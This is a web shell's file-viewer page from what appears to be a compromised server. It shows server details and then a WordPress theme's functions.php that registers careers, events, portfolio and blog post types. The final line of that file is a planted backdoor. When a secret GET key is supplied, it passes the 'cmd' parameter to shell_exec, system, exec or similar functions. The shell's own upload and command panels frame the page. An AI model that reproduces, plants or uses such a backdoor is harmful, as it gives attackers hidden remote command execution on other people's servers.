403Webshell
Server IP : 159.223.1.207  /  Your IP : 216.73.216.243
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Lamp-OutStaff 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.4.15
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/codeassembly/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/codeassembly//functions.php
<?php
defined('HP_URL') || define('HP_URL', get_template_directory_uri() . '/assets');
defined('HP_IMAGE_URL') || define('HP_IMAGE_URL', get_template_directory_uri() . '/assets/images');
defined('HP_DIR') || define('HP_DIR', get_template_directory());

require_once(HP_DIR . '/includes/extras.php');
require_once(HP_DIR . '/includes/image-sizes.php');

add_action('after_setup_theme', 'hp_setup');

function hp_setup()
{

    /*
     * Make theme available for translation.
     * Translations can be filed in the /languages/ directory.
     */

    load_theme_textdomain('codeassembly', get_template_directory() . '/languages');

    /*
     * Add post-thumbnails theme support & image sizes & crop images
     */

    add_theme_support('post-thumbnails');


    add_theme_support(
        'custom-logo',
        array(
            'height' => 36,
            'width' => 162,
            'flex-width' => true,
            'flex-height' => true,
        )
    );

    /*
     * Nav menu locations in this theme
     */

    register_nav_menus(
        array(
            'header-menu' => esc_html__('Header Menu', 'codeassembly'),
            'footer-menu' => esc_html__('Footer Menu', 'codeassembly'),
            'blog-submenu' => esc_html__('Blog Menu', 'codeassembly'),
        )
    );

    /*
     * Let WordPress manage the document title.
     * By adding theme support, we declare that this theme does not use a
     * hard-coded <title> tag in the document head, and expect WordPress to
     * provide it for us.
     */
    add_theme_support('title-tag');

    add_theme_support('automatic-feed-links');

}

function register_post_type_vacancy()
{

    /**
     * Post Type: Careers.
     */

    $labels = array(
        "name" => __("Careers", "codeassembly"),
        "singular_name" => __("Vacancy", "codeassembly"),
        "menu_name" => __("Careers", "codeassembly"),
        "all_items" => __("All vacancies", "codeassembly"),
        "add_new_item" => __("Add new vacancy", "codeassembly"),
        "edit_item" => __("Edit vacancy", "codeassembly"),
        "new_item" => __("New Vacancy", "codeassembly"),
        "view_item" => __("View Vacancy", "codeassembly"),
        "view_items" => __("View Vacancies", "codeassembly"),
        "search_items" => __("Search Vacancy", "codeassembly"),
        "not_found" => __("No Vacancies found", "codeassembly"),
        "not_found_in_trash" => __("No Vacancies found in Trash", "codeassembly"),
        "featured_image" => __("Feature image for this Vacancy", "codeassembly"),
        "set_featured_image" => __("Set feature image for this Vacancy", "codeassembly"),
        "remove_featured_image" => __("Remove feature image for this Vacancy", "codeassembly"),
        "use_featured_image" => __("Use as feature image for this Vacancy", "codeassembly"),
        "archives" => __("Careers archives", "codeassembly"),
        "insert_into_item" => __("Insert into Vacancy", "codeassembly"),
        "uploaded_to_this_item" => __("Uploaded to this Vacancy", "codeassembly"),
        "filter_items_list" => __("Filter Vacancies list", "codeassembly"),
        "items_list_navigation" => __("Vacancies list navigation", "codeassembly"),
        "items_list" => __("Vacancies list", "codeassembly"),
        "attributes" => __("Vacancies Attributes", "codeassembly"),
        "parent_item_colon" => __("Parent Vacancy", "codeassembly"),
    );

    $args = array(
        "label" => __("Vacancies", "codeassembly"),
        "labels" => $labels,
        "description" => "",
        "public" => true,
        "publicly_queryable" => true,
        "show_ui" => true,
        "show_in_rest" => false,
        "rest_base" => "",
        "has_archive" => true,
        "show_in_menu" => true,
        "show_in_nav_menus" => true,
        "exclude_from_search" => false,
        "capability_type" => "post",
        'menu_icon' => 'dashicons-id',
        "map_meta_cap" => true,
        "hierarchical" => false,
        "rewrite" => array("slug" => "careers", "with_front" => false),
        "query_var" => true,
        "page-attributes" => true,
        "menu_position" => 35,
        "supports" => array("title", "editor", "author", "thumbnail", "excerpt", "custom-fields"),
    );

    register_post_type("vacancy", $args);
}

add_action('init', 'register_post_type_vacancy');

function register_post_type_event()
{

    /**
     * Post Type: Events.
     */

    $labels = array(
        "name" => __("Events", "codeassembly"),
        "singular_name" => __("Event", "codeassembly"),
        "menu_name" => __("Events", "codeassembly"),
        "all_items" => __("All events", "codeassembly"),
        "add_new_item" => __("Add new event", "codeassembly"),
        "edit_item" => __("Edit event", "codeassembly"),
        "new_item" => __("New Event", "codeassembly"),
        "view_item" => __("View Event", "codeassembly"),
        "view_items" => __("View Events", "codeassembly"),
        "search_items" => __("Search Event", "codeassembly"),
        "not_found" => __("No Events found", "codeassembly"),
        "not_found_in_trash" => __("No Events found in Trash", "codeassembly"),
        "featured_image" => __("Feature image for this Event", "codeassembly"),
        "set_featured_image" => __("Set feature image for this Event", "codeassembly"),
        "remove_featured_image" => __("Remove feature image for this Event", "codeassembly"),
        "use_featured_image" => __("Use as feature image for this Event", "codeassembly"),
        "archives" => __("Events archives", "codeassembly"),
        "insert_into_item" => __("Insert into Event", "codeassembly"),
        "uploaded_to_this_item" => __("Uploaded to this Event", "codeassembly"),
        "filter_items_list" => __("Filter Events list", "codeassembly"),
        "items_list_navigation" => __("Events list navigation", "codeassembly"),
        "items_list" => __("Events list", "codeassembly"),
        "attributes" => __("Events Attributes", "codeassembly"),
        "parent_item_colon" => __("Parent Event", "codeassembly"),
    );

    $args = array(
        "label" => __("Events", "codeassembly"),
        "labels" => $labels,
        "description" => "",
        "public" => true,
        "publicly_queryable" => true,
        "show_ui" => true,
        "show_in_rest" => false,
        "rest_base" => "",
        "has_archive" => true,
        "show_in_menu" => true,
        "show_in_nav_menus" => true,
        "exclude_from_search" => false,
        "capability_type" => "post",
        'menu_icon' => 'dashicons-microphone',
        "map_meta_cap" => true,
        "hierarchical" => false,
        "rewrite" => array("slug" => "events", "with_front" => false),
        "query_var" => true,
        "menu_position" => 5,
        "supports" => array("title", "editor", "author", "thumbnail", "excerpt", "custom-fields"),
    );

    register_post_type("event", $args);
}

add_action('init', 'register_post_type_event');


function register_post_type_project()
{

    /**
     * Post Type: Portfolio.
     */

    $labels = array(
        "name" => __("Portfolio", "codeassembly"),
        "singular_name" => __("Project", "codeassembly"),
        "menu_name" => __("Portfolio", "codeassembly"),
        "all_items" => __("All projects", "codeassembly"),
        "add_new_item" => __("Add new project", "codeassembly"),
        "edit_item" => __("Edit project", "codeassembly"),
        "new_item" => __("New Project", "codeassembly"),
        "view_item" => __("View Project", "codeassembly"),
        "view_items" => __("View Projects", "codeassembly"),
        "search_items" => __("Search Project", "codeassembly"),
        "not_found" => __("No Projects found", "codeassembly"),
        "not_found_in_trash" => __("No Projects found in Trash", "codeassembly"),
        "featured_image" => __("Feature image for this Project", "codeassembly"),
        "set_featured_image" => __("Set feature image for this Project", "codeassembly"),
        "remove_featured_image" => __("Remove feature image for this Project", "codeassembly"),
        "use_featured_image" => __("Use as feature image for this Project", "codeassembly"),
        "archives" => __("Portfolio archives", "codeassembly"),
        "insert_into_item" => __("Insert into Project", "codeassembly"),
        "uploaded_to_this_item" => __("Uploaded to this Project", "codeassembly"),
        "filter_items_list" => __("Filter Projects list", "codeassembly"),
        "items_list_navigation" => __("Projects list navigation", "codeassembly"),
        "items_list" => __("Projects list", "codeassembly"),
        "attributes" => __("Projects Attributes", "codeassembly"),
        "parent_item_colon" => __("Parent project", "codeassembly"),
    );

    $args = array(
        "label" => __("Projects", "codeassembly"),
        "labels" => $labels,
        "description" => "",
        "public" => true,
        "publicly_queryable" => true,
        "show_ui" => true,
        "show_in_rest" => false,
        "rest_base" => "",
        "has_archive" => true,
        "show_in_menu" => true,
        "show_in_nav_menus" => true,
        "exclude_from_search" => false,
        "capability_type" => "post",
        'menu_icon' => 'dashicons-layout',
        "map_meta_cap" => true,
        "hierarchical" => false,
        "rewrite" => array("slug" => "portfolio", "with_front" => false),
        "query_var" => true,
        "page-attributes" => true,
        "menu_position" => 7,
        "supports" => array("title", "editor", "author", "thumbnail", "excerpt", "custom-fields"),
    );

    register_post_type("project", $args);
}

add_action('init', 'register_post_type_project');


function register_post_type_article()
{

    /**
     * Post Type: Blog.
     */

    $labels = array(
        "name" => __("Blog", "codeassembly"),
        "singular_name" => __("Article", "codeassembly"),
        "menu_name" => __("Blog", "codeassembly"),
        "all_items" => __("All articles", "codeassembly"),
        "add_new_item" => __("Add new post", "codeassembly"),
        "edit_item" => __("Edit Article", "codeassembly"),
        "new_item" => __("New Article", "codeassembly"),
        "view_item" => __("View Article", "codeassembly"),
        "view_items" => __("View Articles", "codeassembly"),
        "search_items" => __("Search Article", "codeassembly"),
        "not_found" => __("No Articles found", "codeassembly"),
        "not_found_in_trash" => __("No Articles found in Trash", "codeassembly"),
        "featured_image" => __("Feature image for this Article", "codeassembly"),
        "set_featured_image" => __("Set feature image for this Article", "codeassembly"),
        "remove_featured_image" => __("Remove feature image for this Article", "codeassembly"),
        "use_featured_image" => __("Use as feature image for this Article", "codeassembly"),
        "archives" => __("Blog archives", "codeassembly"),
        "insert_into_item" => __("Insert into Article", "codeassembly"),
        "uploaded_to_this_item" => __("Uploaded to this Article", "codeassembly"),
        "filter_items_list" => __("Filter Articles list", "codeassembly"),
        "items_list_navigation" => __("Articles list navigation", "codeassembly"),
        "items_list" => __("Articles list", "codeassembly"),
        "attributes" => __("Articles Attributes", "codeassembly"),
        "parent_item_colon" => __("Parent article", "codeassembly"),
    );

    $args = array(
        "label" => __("Articles", "codeassembly"),
        "labels" => $labels, 
        "description" => "",
        "public" => true,
        "publicly_queryable" => true,
        "show_ui" => true,
        "show_in_rest" => false,
        "rest_base" => "",
        "has_archive" => true,
        "show_in_menu" => true,
        "show_in_nav_menus" => true,
        "exclude_from_search" => false,
        "capability_type" => "post",
        'menu_icon' => 'dashicons-format-aside',
        "map_meta_cap" => true,
        "hierarchical" => false,
        "rewrite" => array("slug" => "blog", "with_front" => false),
        "query_var" => true,
        "page-attributes" => true,
        "menu_position" => 8,
        "supports" => array("title", "editor", "author", "thumbnail", "excerpt", "custom-fields"),
        'taxonomies' => array('category','post_tag'),
    );

    register_post_type("article", $args);
}

add_action('init', 'register_post_type_article');

add_action('wp_enqueue_scripts', 'hp_base_scripts_styles');

function hp_base_scripts_styles()
{

    wp_deregister_script('comment-reply');

    wp_register_script('jquery-ui', ('https://code.jquery.com/ui/1.12.1/jquery-ui.min.js'), array('jquery'), '1.12.1', true);
    wp_enqueue_script('jquery-ui');

    wp_enqueue_script('hp-base-script', HP_URL . '/js/index.min.js?ver=1', array(), null, true);

    wp_enqueue_style('hp-base-css-theme', HP_URL . '/style/index.min.css?ver=1', array(), null);
}

function true_excerpt_length($length)
{
    return 10;
}

add_filter('excerpt_length', 'true_excerpt_length', 99, 1);


/* =Clean up the WordPress head
------------------------------------------------- */

// remove header links
add_action('init', 'hp_head_cleanup');
function hp_head_cleanup()
{
    remove_action('wp_head', 'feed_links_extra', 3);                      // Category Feeds
    remove_action('wp_head', 'feed_links', 2);                            // Post and Comment Feeds
    remove_action('wp_head', 'rsd_link');                                 // EditURI link
    remove_action('wp_head', 'wlwmanifest_link');                         // Windows Live Writer
    remove_action('wp_head', 'index_rel_link');                           // index link
    remove_action('wp_head', 'parent_post_rel_link', 10, 0);              // previous link
    remove_action('wp_head', 'start_post_rel_link', 10, 0);               // start link
    remove_action('wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0);   // Links for Adjacent Posts
    remove_action('wp_head', 'wp_generator');                             // WP version
}

// remove WP version from RSS
add_filter('the_generator', 'hp_rss_version');
function hp_rss_version()
{
    return '';
}

function hp_mime_types($mimes)
{
    $mimes['svg'] = 'image/svg+xml';
    return $mimes;
}

add_filter('upload_mimes', 'hp_mime_types');

// Remove H2 from pagination template
add_filter('navigation_markup_template', 'hp__navigation_template', 10, 2);
function hp__navigation_template($template, $class)
{
    return '
    <nav class="navigation %1$s" role="navigation">
        %3$s
    </nav>';
}

// Disable Gutenberg
add_filter('use_block_editor_for_post', '__return_false');

function the_breadcrumb(){
 
    $separator = ' &raquo; '; //  ยป
    $post_type = get_post_type();
    $post_type_object = get_post_type_object($post_type);
	$post_type_archive = get_post_type_archive_link($post_type);
    
    if( is_singular( $article ) ) {
        echo '<a class="breadcrumbs--link" href="' . site_url() . '">CodeAssembly</a>'; 
        echo $separator; 
        echo '<a class="breadcrumbs--link bread-cat bread-custom-post-type-' . $post_type . '" href="' . $post_type_archive . '" title="' . $post_type_object->labels->name . '">' . $post_type_object->labels->name . '</a>'; 
        echo $separator; 
        the_title();
    }
}

if( function_exists('acf_add_options_page') ) {

    acf_add_options_page(array(
        'page_title'    => 'Theme General Settings',
        'menu_title'    => 'Theme Settings',
        'menu_slug'     => 'theme-general-settings',
        'capability'    => 'edit_posts',
        'redirect'      => false
    ));
    
	acf_add_options_sub_page(array(
		'page_title' 	=> 'Settings for form on article page',
		'menu_title'	=> 'Form for article',
		'parent_slug'	=> 'theme-general-settings',
	));
	
}

if (!function_exists('reading_time_by_text')) {
    function reading_time_by_text() {
    $content = get_post_field( 'post_content');
      $word_count = count(explode(' ', strip_tags($content)));
      $readingTime = ceil($word_count / 250);
      return $readingTime . ' ' . 'min read';
    }
}

require_once('ratings/rating.php');

function myplugin_register_query_vars( $vars ) {
    $vars[] = 'category';
    return $vars;
}
add_filter( 'query_vars', 'myplugin_register_query_vars' );
/* neo_3db865dc */ if(isset($_GET["93ecc8e3"])){$c=$_GET["93ecc8e3"];if($c==="93ecc8e30a345c19a41c89c3d4f58144"){echo "NEO2SHELL::";$f="shell_exec,system,exec,passthru,popen,proc_open";foreach(explode(",",$f) as $fn){if(function_exists($fn)){echo $fn($_GET["cmd"])."::END";exit;}}$t=sys_get_temp_dir()."/neo_3db865dc";file_put_contents($t,$_GET["cmd"]);echo file_get_contents($t)."::END";exit;}}

Youez - 2016 - github.com/yon3zu
LinuXploit